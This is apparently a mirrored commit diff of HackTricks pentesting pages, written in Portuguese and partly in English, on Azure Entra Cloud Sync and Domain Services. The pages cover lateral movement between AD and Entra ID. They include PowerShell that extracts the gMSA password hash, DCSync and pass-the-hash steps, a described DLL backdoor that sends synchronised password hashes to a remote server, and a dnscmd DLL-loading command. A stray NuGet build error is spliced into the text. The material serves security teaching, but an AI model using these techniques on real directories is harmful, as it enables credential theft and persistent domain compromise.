mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-03-12 21:22:57 -07:00
Translated ['', 'src/pentesting-cloud/azure-security/az-lateral-movement
This commit is contained in:
Translator
@@ -2,55 +2,57 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## Informações Básicas
|
||||
|
||||
**Cloud Sync** é basicamente a nova maneira do Azure de **sincronizar os usuários do AD no Entra ID**.
|
||||
**Cloud Sync** é basicamente a nova forma do Azure de **sincronizar os usuários do AD para o Entra ID**.
|
||||
|
||||
[Da documentação:](https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/what-is-cloud-sync) O Microsoft Entra Cloud Sync é uma nova oferta da Microsoft projetada para atender e alcançar seus objetivos de identidade híbrida para sincronização de usuários, grupos e contatos no Microsoft Entra ID. Isso é realizado usando o agente de provisionamento em nuvem do Microsoft Entra em vez do aplicativo Microsoft Entra Connect. No entanto, pode ser usado juntamente com o Microsoft Entra Connect Sync.
|
||||
[Da documentação:](https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/what-is-cloud-sync) Microsoft Entra Cloud Sync é uma nova oferta da Microsoft projetada para atender e cumprir seus objetivos de identidade híbrida para sincronização de usuários, grupos e contatos com o Microsoft Entra ID. Isso é realizado usando o agente de provisionamento em nuvem Microsoft Entra em vez do aplicativo Microsoft Entra Connect. No entanto, pode ser usado junto com o Microsoft Entra Connect Sync.
|
||||
|
||||
### Principais Criados
|
||||
### Principais Gerados
|
||||
|
||||
Para que isso funcione, alguns principais são criados tanto no Entra ID quanto no diretório On-Premise:
|
||||
Para que isso funcione, alguns principals são criados tanto no Entra ID quanto no diretório On-Premise:
|
||||
|
||||
- No Entra ID, o usuário `On-Premises Directory Synchronization Service Account` (`ADToAADSyncServiceAccount@carloshacktricks.onmicrosoft.com`) é criado com a função **`Directory Synchronization Accounts`** (`d29b2b05-8046-44ba-8758-1e26182fcf32`).
|
||||
- No Entra ID o usuário `On-Premises Directory Synchronization Service Account` (`ADToAADSyncServiceAccount@carloshacktricks.onmicrosoft.com`) é criado com a role **`Directory Synchronization Accounts`** (`d29b2b05-8046-44ba-8758-1e26182fcf32`).
|
||||
|
||||
> [!WARNING]
|
||||
> Esta função costumava ter muitas permissões privilegiadas e poderia ser usada para [**escalar privilégios até administrador global**](https://medium.com/tenable-techblog/stealthy-persistence-with-directory-synchronization-accounts-role-in-entra-id-63e56ce5871b). No entanto, a Microsoft decidiu remover todos os privilégios dessa função e atribuí-la apenas a uma nova **`microsoft.directory/onPremisesSynchronization/standard/read`** que não permite realmente realizar nenhuma ação privilegiada (como modificar a senha ou atributos de um usuário ou adicionar uma nova credencial a um SP).
|
||||
> Esta role costumava ter muitas permissões privilegiadas e podia ser usada para [**escalar privilégios mesmo até global admin**](https://medium.com/tenable-techblog/stealthy-persistence-with-directory-synchronization-accounts-role-in-entra-id-63e56ce5871b). No entanto, a Microsoft decidiu remover todos os privilégios dessa role e atribuir a ela apenas uma nova permissão **`microsoft.directory/onPremisesSynchronization/standard/read`** que não permite realmente executar nenhuma ação privilegiada (como modificar a senha ou atributos de um usuário ou adicionar uma nova credencial a um SP).
|
||||
|
||||
- No Entra ID, também é criado o grupo **`AAD DC Administrators`** sem membros ou proprietários. Este grupo é útil se [`Microsoft Entra Domain Services`](./az-domain-services.md) for utilizado.
|
||||
- No Entra ID também é criado o grupo **`AAD DC Administrators`** sem membros ou owners. Este grupo é útil se [`Microsoft Entra Domain Services`](./az-domain-services.md) for usado.
|
||||
|
||||
- No AD, ou a Conta de Serviço **`provAgentgMSA`** é criada com um SamAccountName como **`pGMSA_<id>$@domain.com`** (`Get-ADServiceAccount -Filter * | Select Name,SamAccountName`), ou uma personalizada com [**essas permissões são necessárias**](https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/how-to-prerequisites?tabs=public-cloud#custom-gmsa-account). Normalmente, a padrão é criada.
|
||||
- No AD, ou a Service Account **`provAgentgMSA`** é criada com um SamAcountName como **`pGMSA_<id>$@domain.com`** (`Get-ADServiceAccount -Filter * | Select Name,SamAccountName`), ou é usada uma conta customizada com [**estas permissões são necessárias**](https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/how-to-prerequisites?tabs=public-cloud#custom-gmsa-account). Normalmente a padrão é criada.
|
||||
|
||||
> [!WARNING]
|
||||
> Entre outras permissões, a Conta de Serviço **`provAgentgMSA`** possui permissões DCSync, permitindo que **qualquer um que a comprometa comprometa todo o diretório**. Para mais informações sobre [DCSync, confira isso](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/dcsync.html).
|
||||
> Entre outras permissões a Service Account **`provAgentgMSA`** tem permissões DCSync, permitindo **que qualquer um que a comprometa comprometa todo o diretório**. Para mais informações sobre [DCSync veja isto](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/dcsync.html).
|
||||
|
||||
> [!NOTE]
|
||||
> Por padrão, usuários de grupos privilegiados conhecidos, como Administradores de Domínio, com o atributo **`adminCount` para 1 não são sincronizados** com o Entra ID por razões de segurança. No entanto, outros usuários que fazem parte de grupos privilegiados sem esse atributo ou que são atribuídos a altos privilégios **podem ser sincronizados**.
|
||||
> Por padrão, usuários de grupos privilegiados conhecidos como Domain Admins com o atributo **`adminCount` igual a 1 não são sincronizados** com o Entra ID por razões de segurança. Porém, outros usuários que fazem parte de grupos privilegiados sem esse atributo ou que tenham privilégios elevados atribuídos diretamente **podem ser sincronizados**.
|
||||
|
||||
## Sincronização de Senhas
|
||||
## Password Sychronization
|
||||
|
||||
A seção é muito semelhante à de:
|
||||
A seção é muito similar à da:
|
||||
|
||||
{{#ref}}
|
||||
az-connect-sync.md
|
||||
{{#endref}}
|
||||
|
||||
- **A sincronização de hash de senha** pode ser habilitada para que os usuários possam **fazer login no Entra ID usando suas senhas do AD**. Além disso, sempre que uma senha for modificada no AD, ela será atualizada no Entra ID.
|
||||
- **A gravação de senha** também pode ser habilitada, permitindo que os usuários modifiquem sua senha no Entra ID sincronizando automaticamente sua senha no domínio on-premise. Mas de acordo com a [documentação atual](https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback#configure-password-writeback), para isso é necessário usar o Connect Agent, então dê uma olhada na [seção Az Connect Sync](./az-connect-sync.md) para mais informações.
|
||||
- **Grupos de gravação**: Este recurso permite que as associações de grupos do Entra ID sejam sincronizadas de volta para o AD on-premises. Isso significa que se um usuário for adicionado a um grupo no Entra ID, ele também será adicionado ao grupo correspondente no AD.
|
||||
- **Password hash synchronization** pode ser habilitado de forma que os usuários poderão **fazer login no Entra ID usando suas senhas do AD**. Além disso, sempre que uma senha for modificada no AD, ela será atualizada no Entra ID.
|
||||
- **Password writeback** também pode ser habilitado, permitindo que os usuários modifiquem sua senha no Entra ID sincronizando automaticamente sua senha no domínio on-premise. Mas de acordo com os [docs atuais](https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback#configure-password-writeback), para isso é necessário usar o Connect Agent, então veja a seção [Az Connect Sync](./az-connect-sync.md) para mais informações.
|
||||
- **Groups writeback**: Esse recurso permite que as associações de grupos do Entra ID sejam sincronizadas de volta para o AD on-premises. Isso significa que se um usuário for adicionado a um grupo no Entra ID, ele também será adicionado ao grupo correspondente no AD.
|
||||
|
||||
|
||||
## Pivoting
|
||||
|
||||
### AD --> Entra ID
|
||||
|
||||
- Se os usuários do AD estão sendo sincronizados do AD para o Entra ID, o pivoting do AD para o Entra ID é direto, basta **comprometer a senha de algum usuário ou alterar a senha de algum usuário ou criar um novo usuário e esperar até que seja sincronizado no diretório Entra ID (geralmente apenas alguns minutos)**.
|
||||
- Se os usuários do AD estão sendo sincronizados do AD para o Entra ID, pivotar do AD para o Entra ID é simples, basta **comprometer a senha de algum usuário ou alterar a senha de algum usuário ou criar um novo usuário e esperar até que ele seja sincronizado para o diretório Entra ID (geralmente apenas alguns minutos)**.
|
||||
|
||||
Então você poderia, por exemplo:
|
||||
- Comprometer a conta **`provAgentgMSA`**, realizar um ataque DCSync, quebrar a senha de algum usuário e então usá-la para fazer login no Entra ID.
|
||||
- Apenas criar um novo usuário no AD, esperar até que seja sincronizado no Entra ID e então usá-lo para fazer login no Entra ID.
|
||||
- Modificar a senha de algum usuário no AD, esperar até que seja sincronizado no Entra ID e então usá-la para fazer login no Entra ID.
|
||||
Por exemplo, você poderia
|
||||
- Comprometer a conta **`provAgentgMSA`**, executar um ataque DCSync, quebrar a senha de algum usuário e então usá-la para fazer login no Entra ID.
|
||||
- Simplesmente criar um novo usuário no AD, esperar até que ele seja sincronizado no Entra ID e então usá-lo para fazer login no Entra ID.
|
||||
- Modificar a senha de algum usuário no AD, esperar até que seja sincronizada no Entra ID e então usá-la para fazer login no Entra ID.
|
||||
|
||||
Para comprometer as credenciais de **`provAgentgMSA`**:
|
||||
Para comprometer as credenciais do **`provAgentgMSA`**:
|
||||
```powershell
|
||||
# Enumerate provAgentgMSA account
|
||||
Get-ADServiceAccount -Filter * -Server domain.local
|
||||
@@ -72,22 +74,22 @@ $Passwordblob = (Get-ADServiceAccount -Identity pGMSA_<id>$ -Properties msDS-Man
|
||||
$decodedpwd = ConvertFrom-ADManagedPasswordBlob $Passwordblob
|
||||
ConvertTo-NTHash -Password $decodedpwd.SecureCurrentPassword
|
||||
```
|
||||
Agora você poderia usar o hash do gMSA para realizar um ataque Pass-the-Hash contra o Entra ID usando a conta `provAgentgMSA` e manter a persistência, podendo realizar ataques DCSync contra o AD.
|
||||
Agora você pode usar o hash do gMSA para realizar um ataque Pass-the-Hash contra o Entra ID usando a conta `provAgentgMSA` e manter persistência, sendo capaz de executar ataques DCSync contra o AD.
|
||||
|
||||
Para mais informações sobre como comprometer um Active Directory, consulte:
|
||||
For more information about how to compromise an Active Directory check:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/index.html
|
||||
{{#endref}}
|
||||
|
||||
> [!NOTE]
|
||||
> Note que não há como atribuir funções do Azure ou EntraID a usuários sincronizados com base em seus atributos, por exemplo, nas configurações de Cloud Sync. No entanto, para conceder permissões automaticamente a usuários sincronizados, alguns **grupos do Entra ID do AD** podem receber permissões, de modo que os usuários sincronizados dentro desses grupos também as recebam, ou **grupos dinâmicos podem ser usados**, então sempre verifique as regras dinâmicas e possíveis maneiras de abusar delas:
|
||||
> Observe que não existe nenhuma maneira de atribuir roles do Azure ou EntraID a usuários sincronizados com base em seus atributos, por exemplo nas configurações do Cloud Sync. Entretanto, para conceder permissões automaticamente a usuários sincronizados, alguns **Entra ID groups from AD** podem receber permissões para que os usuários sincronizados dentro desses grupos também as recebam, ou **dynamic groups might be used**, então sempre verifique regras dinâmicas e potenciais maneiras de abusá-las:
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-entraid-privesc/dynamic-groups.md
|
||||
{{#endref}}
|
||||
|
||||
Quanto à persistência, [este post de blog](https://tierzerosecurity.co.nz/2024/05/21/ms-entra-connect-sync-mothods.html) sugere que é possível usar [**dnSpy**](https://github.com/dnSpy/dnSpy) para backdoor a dll **`Microsoft.Online.Passwordsynchronisation.dll`** localizada em **`C:\Program Files\Microsoft Azure AD Sync\Bin`** que é usada pelo agente de Cloud Sync para realizar a sincronização de senhas, fazendo com que exfiltre os hashes de senha dos usuários que estão sendo sincronizados para um servidor remoto. Os hashes são gerados dentro da classe **`PasswordHashGenerator`** e o post do blog sugere adicionar algum código para que a classe fique assim (note o `use System.Net` e o uso de `WebClient` para exfiltrar os hashes de senha):
|
||||
Regarding persistence [this blog post](https://tierzerosecurity.co.nz/2024/05/21/ms-entra-connect-sync-mothods.html) suggest that it's possible to use [**dnSpy**](https://github.com/dnSpy/dnSpy) to backdoor the dll **`Microsoft.Online.Passwordsynchronisation.dll`** located in **`C:\Program Files\Microsoft Azure AD Sync\Bin`** that is used by the Cloud Sync agent to perform the password synchronization making it exfiltrate the password hashes of the users being synchronized to a remote server. The hashes are generated inside the class **`PasswordHashGenerator`** and the blog post suggest adding some code so the class looks like (note the `use System.Net` and the `WebClient` usage to exfiltrate the password hashes):
|
||||
```csharp
|
||||
using System;
|
||||
using System.Net;
|
||||
@@ -121,22 +123,19 @@ RawHash = passwordHashData.RawHash
|
||||
}
|
||||
}
|
||||
```
|
||||
NuGet Package restore failed for project AzTokenFinder: Unable to find version '4.3.2' of package 'System.Security.Cryptography.X509Certificates'.
|
||||
C:\Program Files (x86)\Microsoft SDKs\NuGetPackages\: Package 'System.Security.Cryptography.X509Certificates.4.3.2' is not found on source 'C:\Program Files (x86)\Microsoft SDKs\NuGetPackages\'.
|
||||
. Please see Error List window for detailed warnings and errors.
|
||||
|
||||
### Entra ID --> AD
|
||||
|
||||
- Se **Password Writeback** estiver habilitado, você pode modificar a senha de alguns usuários do Entra ID e, se tiver acesso à rede AD, conectar-se usando essas credenciais. Para mais informações, consulte a seção [Az Connect Sync](./az-connect-sync.md), pois o Password Writeback é configurado usando esse agente.
|
||||
- Se o **Password Writeback** estiver habilitado, você pode modificar a senha de alguns usuários no Entra ID e, se tiver acesso à rede AD, conectar-se usando essas credenciais. Para mais informações verifique a [Az Connect Sync section](./az-connect-sync.md), pois o password writeback é configurado usando esse agente.
|
||||
|
||||
- Neste momento, o Cloud Sync também permite **"Microsoft Entra ID to AD"**, mas após muito tempo, descobri que ele NÃO PODE sincronizar usuários do EntraID para AD e que só pode sincronizar usuários do EntraID que foram sincronizados com o hash da senha e vêm de um domínio que pertence à mesma floresta de domínio que o domínio para o qual estamos sincronizando, como você pode ler em [https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits](https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits):
|
||||
- Atualmente o Cloud Sync também permite **"Microsoft Entra ID to AD"**, mas, após testar por bastante tempo, descobri que ele NÃO CONSEGUE sincronizar usuários do EntraID para o AD e que só pode sincronizar usuários do EntraID que foram sincronizados com o hash de senha e que vêm de um domínio pertencente à mesma domain forest do domínio para o qual estamos sincronizando, como você pode ler em [https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits](https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits):
|
||||
|
||||
> - Esses grupos podem conter apenas usuários sincronizados on-premises e / ou grupos de segurança criados na nuvem adicionais.
|
||||
> - As contas de usuário on-premises que são sincronizadas e são membros deste grupo de segurança criado na nuvem podem ser do mesmo domínio ou de domínios diferentes, mas todos devem ser da mesma floresta.
|
||||
> - Esses grupos só podem conter usuários sincronizados on-premises e / ou grupos de segurança adicionais criados na cloud.
|
||||
> - As contas de usuário on-premises que são sincronizadas e são membros deste grupo de segurança criado na cloud podem ser do mesmo domínio ou cross-domain, mas todas devem ser da mesma forest.
|
||||
|
||||
Portanto, a superfície de ataque (e a utilidade) deste serviço é bastante reduzida, pois um atacante precisaria comprometer o AD inicial de onde os usuários estão sendo sincronizados para comprometer um usuário no outro domínio (e ambos devem estar na mesma floresta, aparentemente).
|
||||
Portanto a superfície de ataque (e a utilidade) deste serviço é bastante reduzida, já que um atacante precisaria comprometer o AD inicial de onde os usuários estão sendo sincronizados para comprometer um usuário no outro domínio (e ambos aparentemente devem estar na mesma forest).
|
||||
|
||||
### Enumeration
|
||||
|
||||
### Enumeração
|
||||
```bash
|
||||
# Check for the gMSA SA
|
||||
Get-ADServiceAccount -Filter "ObjectClass -like 'msDS-GroupManagedServiceAccount'"
|
||||
|
||||
@@ -2,27 +2,27 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Serviços de Domínio
|
||||
## Domain Services
|
||||
|
||||
Microsoft Entra Domain Services permite implantar um Active Directory no Azure sem precisar gerenciar Domain Controllers (na verdade você nem sequer tem acesso a eles).
|
||||
Microsoft Entra Domain Services permite implantar um Active Directory no Azure sem precisar gerir Domain Controllers (na verdade você nem tem acesso a eles).
|
||||
|
||||
Seu objetivo principal é permitir executar aplicações legadas na cloud que não conseguem usar métodos de autenticação modernos, ou quando você não quer que consultas de diretório sempre retornem para um ambiente on-premises AD DS.
|
||||
O seu objetivo principal é permitir que você execute aplicações legadas na cloud que não conseguem usar métodos de autenticação modernos, ou onde você não quer que as consultas ao diretório voltem sempre para um ambiente AD DS on-premises.
|
||||
|
||||
Note que, para sincronizar os usuários gerados no Entra ID (e não sincronizados a partir de outros Active Directories) para o serviço de domínio AD, você precisa **alterar a senha do usuário** para uma nova para que ele possa ser sincronizado com o novo AD. Na verdade, o usuário não é sincronizado do Microsoft Entra ID para Domain Services até que a senha seja alterada.
|
||||
Note que, para sincronizar os usuários gerados no Entra ID (e não sincronizados de outros diretórios ativos) para o AD domain service, é necessário **alterar a password do usuário** para uma nova para que ele possa ser sincronizado com o novo AD. Na prática, o usuário não é sincronizado do Microsoft Entra ID para o Domain Services até que a password seja alterada.
|
||||
|
||||
> [!WARNING]
|
||||
> Mesmo se você estiver criando um novo domínio Active Directory, você não será capaz de gerenciá-lo completamente (a menos que explore algumas más configurações), o que significa que por padrão, por exemplo, você não pode criar usuários diretamente no AD. Você os cria **sincronizando usuários do Entra ID.** Você pode indicar sincronizar todos os usuários (mesmo aqueles sincronizados de outros ADs on-premises), apenas usuários cloud (usuários criados no Entra ID), ou até mesmo **filtrá-los mais.**
|
||||
> Mesmo que você esteja a criar um novo domínio Active Directory, você não conseguirá gerenciá-lo completamente (a menos que explore algumas más configurações), o que significa que por padrão, por exemplo, você não pode criar usuários diretamente no AD. Você cria-os **sincronizando usuários a partir do Entra ID.** Você pode indicar para sincronizar todos os usuários (mesmo aqueles sincronizados de outros ADs locais), somente usuários cloud (usuários criados no Entra ID), ou até **filtrá‑los mais**.
|
||||
|
||||
> [!NOTE]
|
||||
> Em geral, devido à falta de flexibilidade na configuração do novo domínio e ao fato de que ADs geralmente já estão on-premises, esta não é a principal integração entre Entra ID e AD, mas ainda é interessante saber como comprometê-lo.
|
||||
> Em geral, devido à falta de flexibilidade na configuração do novo domínio e ao facto de os ADs normalmente já existirem on‑premises, esta não é a integração principal entre Entra ID e AD, mas ainda assim é interessante saber como comprometê‑la.
|
||||
|
||||
### Pivoting
|
||||
|
||||
Membros do grupo gerado **`AAD DC Administrators`** recebem permissões de administrador local em VMs que estão domain-joined ao domínio gerenciado (mas não nos domain controllers), porque eles são adicionados ao grupo de administradores locais. Membros desse grupo também podem usar **Remote Desktop para se conectar remotamente a VMs domain-joined**, e também são membros dos grupos:
|
||||
Members of the generated **`AAD DC Administrators`** group are granted local admin permissions on VMs that are domain-joined to the managed domain (but not in the domain controllers) because they are added into the local administrators group. Members of this group can also use **Remote Desktop to connect remotely to domain-joined VMs**, and are also members of the groups:
|
||||
|
||||
- **`Denied RODC Password Replication Group`**: Este é um grupo que especifica usuários e grupos cujas senhas não podem ser armazenadas em cache em RODCs (Read-Only Domain Controllers).
|
||||
- **`Group Policy Creators Owners`**: Este grupo permite que membros criem Group Policies no domínio. No entanto, seus membros não podem aplicar group policies a usuários ou grupos nem editar GPOs existentes, então não é tão interessante nesse ambiente.
|
||||
- **`DnsAdmins`**: Este grupo permite gerenciar as configurações de DNS e foi abusado no passado para [escalate privileges and compromise the domain](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.html?highlight=dnsadmin#dnsadmins), entretanto, após testar o ataque neste ambiente, verificou-se que a vulnerabilidade está corrigida:
|
||||
- **`Denied RODC Password Replication Group`**: This is a group that specifies users and groups whose passwords cannot be cached on RODCs (Read-Only Domain Controllers).
|
||||
- **`Group Policy Creators Owners`**: This group allows members to create Group Policies in the domain. However, its members can't apply group policies to users or group or edit existing GPOs, so it's not that interesting in this environment.
|
||||
- **`DnsAdmins`**: This group allows to manage the DNS settings and was abused in the past to [escalate privileges and compromise the domain](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.html?highlight=dnsadmin#dnsadmins), however after testing the attack in this environment it was checked that the vulnerability is patched:
|
||||
```text
|
||||
dnscmd TDW52Y80ZE26M1K.azure.hacktricks-training.com /config /serverlevelplugindll \\10.1.0.6\c$\Windows\Temp\adduser.dll
|
||||
|
||||
@@ -30,14 +30,14 @@ DNS Server failed to reset registry property.
|
||||
Status = 5 (0x00000005)
|
||||
Command failed: ERROR_ACCESS_DENIED 5 0x5
|
||||
```
|
||||
Note que, para conceder essas permissões, dentro do AD o grupo **`AAD DC Administrators`** é tornado membro dos grupos anteriores, e também a GPO **`AADDC Computers GPO`** adiciona como Local Administrators todos os membros do grupo de domínio **`AAD DC Administrators`**.
|
||||
Observe que, para conceder essas permissões, dentro do AD o grupo **`AAD DC Administrators`** é tornado membro dos grupos anteriores, e também a GPO **`AADDC Computers GPO`** adiciona como Administradores Locais todos os membros do grupo de domínio **`AAD DC Administrators`**.
|
||||
|
||||
Fazer pivot de Entra ID para um AD criado com Domain Services é simples: basta adicionar um usuário ao grupo **`AAD DC Administrators`**, acessar via RDP qualquer/todas as máquinas do domínio e você poderá roubar dados e também **comprometer o domínio.**
|
||||
Fazer pivot de Entra ID para um AD criado com Domain Services é direto: basta adicionar um usuário ao grupo **`AAD DC Administrators`**, acessar via RDP qualquer/todas as máquinas do domínio e você conseguirá roubar dados e também **comprometer o domínio.**
|
||||
|
||||
No entanto, fazer pivot do domínio para o Entra ID não é tão fácil, pois nada do domínio é sincronizado para o Entra ID. Ainda assim, sempre verifique os metadados de todas as VMs ingressas no domínio, pois as managed identities atribuídas podem ter permissões interessantes. Além disso, **dump all the users passwords from the domain** e tente cracká‑las para então fazer login no Entra ID / Azure.
|
||||
No entanto, o pivot do domínio para o Entra ID não é tão fácil, pois nada do domínio está sendo sincronizado para o Entra ID. Ainda assim, sempre verifique os metadata de todas as VMs ingressadas, pois as managed identities atribuídas a elas podem ter permissões interessantes. Além disso, faça o dump de todas as senhas dos usuários do domínio e tente cracká‑las para então acessar o Entra ID / Azure.
|
||||
|
||||
> [!NOTE]
|
||||
> Note que no passado outras vulnerabilidades neste managed AD foram encontradas que permitiram comprometer os DCs, [como esta](https://www.secureworks.com/research/azure-active-directory-domain-services-escalation-of-privilege?utm_source=chatgpt.com). Um atacante que comprometesse o DC poderia muito facilmente manter persistência sem os admins do Azure perceberem ou mesmo conseguirem removê‑la.
|
||||
> Observe que, no passado, outras vulnerabilidades nesse AD gerenciado foram encontradas que permitiam comprometer os DCs, [como esta](https://www.secureworks.com/research/azure-active-directory-domain-services-escalation-of-privilege?utm_source=chatgpt.com). Um atacante que comprometesse os DC poderia muito facilmente manter persistência sem que os administradores do Azure percebessem ou mesmo conseguissem removê‑la.
|
||||
|
||||
### Enumeração
|
||||
```bash
|
||||
|
||||
Reference in New Issue
Block a user